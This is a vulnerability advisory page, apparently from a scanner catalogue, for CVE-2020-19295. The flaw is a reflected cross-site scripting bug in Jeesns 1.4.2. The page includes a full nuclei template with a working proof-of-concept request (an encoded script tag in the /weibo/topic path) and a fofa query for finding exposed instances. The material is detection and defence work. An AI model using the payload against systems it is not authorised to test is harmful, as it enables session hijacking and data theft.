Jeesns 1.4.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.5%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

Jeesns 1.4.2 is vulnerable to reflected cross-site scripting in the /weibo/topic component and allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message's text field.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade Jeesns to the latest version or apply the vendor-provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/weibo/topic/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" and "JEESNS" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-19295 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-19295

info:
  name: Jeesns 1.4.2 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Jeesns 1.4.2 is vulnerable to reflected cross-site scripting in the /weibo/topic component and allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message's text field.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade Jeesns to the latest version or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/zchuanzhao/jeesns/issues/21
    - https://www.seebug.org/vuldb/ssvid-97950
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19295
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-19295
    cwe-id: CWE-79
    epss-score: 0.03509
    epss-percentile: 0.89293
    cpe: cpe:2.3:a:jeesns:jeesns:1.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jeesns
    product: jeesns
    fofa-query:
      - title="Jeesns"
      - title="jeesns"
  tags: cve,cve2020,jeesns,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/weibo/topic/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'
          - 'JEESNS'
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from